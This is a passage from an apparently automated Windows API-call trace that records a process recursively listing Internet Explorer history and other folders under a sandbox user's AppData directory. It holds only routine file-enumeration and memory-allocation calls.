ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.290] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0077.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0077.291] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.291] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0077.291] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.291] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb29b09d0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 0 [0077.291] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.292] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.292] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.292] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.292] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.292] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.292] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0077.292] lstrcmpW (lpString1="History.IE5", lpString2=".") returned 1 [0077.292] lstrcmpW (lpString1="History.IE5", lpString2="..") returned 1 [0077.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x69d648 [0077.292] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.294] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.294] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.294] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.294] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.294] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.294] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.294] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1 [0077.294] lstrcmpW (lpString1="MSHist012017071220170713", lpString2=".") returned 1 [0077.294] lstrcmpW (lpString1="MSHist012017071220170713", lpString2="..") returned 1 [0077.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7fd8 [0077.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aad70 [0077.294] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68bc38 [0077.294] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0077.295] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.295] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.296] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.296] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.296] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0077.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317ffd0 [0077.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x5cd120 [0077.296] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0077.296] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.297] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.297] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0077.298] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.298] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.299] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.299] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.299] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1 [0077.299] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 0 [0077.299] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.299] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.299] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.299] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0077.299] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0 [0077.300] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.300] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0077.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0077.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0077.302] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Ringtones\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.302] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.302] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.302] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 